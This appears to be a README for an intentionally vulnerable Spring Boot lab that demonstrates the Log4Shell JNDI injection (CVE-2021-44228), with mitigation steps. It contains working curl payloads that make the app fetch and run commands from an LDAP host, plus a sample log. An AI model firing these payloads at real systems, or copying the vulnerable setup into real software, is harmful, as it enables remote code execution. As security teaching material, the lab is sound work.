
Log4j2 JNDIインジェクション(CVE-2021-44228)を実演する脆弱なSpring Bootウェブアプリケーション。セキュリティテストと教育のためのエクスプロイト手順および緩和ガイダンスを提供します。
このアプリケーションは、CVE-2021-44228 の脆弱性を持つ Spring Boot Web アプリケーションをベースにしています。
これは Log4j 2.14.1 を使用しています (spring-boot-starter-log4j2 2.6.1 経由)。

実行方法:
Import the project in Java IDE as a maven project
Run CVEMainApplication.java as a spring boot app.
GET リクエストの場合 ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/efdgt62jjd0002leee=}'
POST リクエストの場合 ->
curl --location --request POST 'http://127.0.0.1:8080/addemployee' \
--header 'Content-Type: application/json' \
--data '{
"name": "${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}"
}'
021-12-12 12:17:00,579 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=]. javax.naming.CommunicationException: your-private-ip:1389 [Root exception is java.net.UnknownHostException: your-private-ip]
Caused by: java.net.UnknownHostException: your-private-ip

アプリケーションの迅速な修正 -> リリース 2.10 以降では、システムプロパティ log4j2.formatMsgNoLookups または環境変数 LOG4J_FORMAT_MSG_NO_LOOKUPS を true に設定することで、この動作を緩和できます。リリース 2.0-beta9 から 2.10.0 までの場合の対策は、クラスパスから JndiLookup クラスを削除することです: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class。
アプリケーション内の log4j を 2.15.0 にアップグレードしてデプロイします。